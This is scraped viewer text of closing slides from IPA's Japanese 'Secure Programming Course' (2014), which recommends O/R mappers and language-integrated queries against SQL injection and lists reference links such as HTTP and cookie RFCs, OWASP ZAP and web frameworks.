![Page 67: 『セキュア・プログラミング講座SQL注入対策 SQL文の発行を半自動化してくれる道具を使う よい道具 • O/Rマッパ • 言語に統合されたクエリ](https://reader033.vdocuments.site/reader033/viewer/2022042211/5eb15f442e5fa4166d52b0e4/html5/thumbnails/67.jpg)
Copyright © 2014 独立行政法人情報処理推進機構
「セキュア・プログラミング講座」
Webアプリケーション編
67
![Page 68: 『セキュア・プログラミング講座SQL注入対策 SQL文の発行を半自動化してくれる道具を使う よい道具 • O/Rマッパ • 言語に統合されたクエリ](https://reader033.vdocuments.site/reader033/viewer/2022042211/5eb15f442e5fa4166d52b0e4/html5/thumbnails/68.jpg)
Copyright © 2014 独立行政法人情報処理推進機構
「セキュア・プログラミング講座」
C/C++言語編
68
![Page 69: 『セキュア・プログラミング講座SQL注入対策 SQL文の発行を半自動化してくれる道具を使う よい道具 • O/Rマッパ • 言語に統合されたクエリ](https://reader033.vdocuments.site/reader033/viewer/2022042211/5eb15f442e5fa4166d52b0e4/html5/thumbnails/69.jpg)
Copyright © 2014 独立行政法人情報処理推進機構
参考URI (1)
『セキュア・プログラミング講座』 • http://www.ipa.go.jp/security/awareness/vendor/programming/
RFC 2616 - Hypertext Transfer Protocol -- HTTP/1.1
• http://tools.ietf.org/html/rfc2616
RFC 6265 - HTTP State Management Mechanism
• http://tools.ietf.org/html/rfc6265 Cookieについて
「OWASP ZAP」 ローカルプロキシ • https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
ローカルプロキシのひとつ
69
![Page 70: 『セキュア・プログラミング講座SQL注入対策 SQL文の発行を半自動化してくれる道具を使う よい道具 • O/Rマッパ • 言語に統合されたクエリ](https://reader033.vdocuments.site/reader033/viewer/2022042211/5eb15f442e5fa4166d52b0e4/html5/thumbnails/70.jpg)
Copyright © 2014 独立行政法人情報処理推進機構
70
「Ruby on Rails」
• http://rubyonrails.org/ (英語)
• http://railstutorial.jp/
「Grails」
• https://grails.org/ (英語)
「CakePHP」
• http://cakephp.jp/
「Spring Framework」
• http://projects.spring.io/spring-framework/ (英語)
参考URI (2)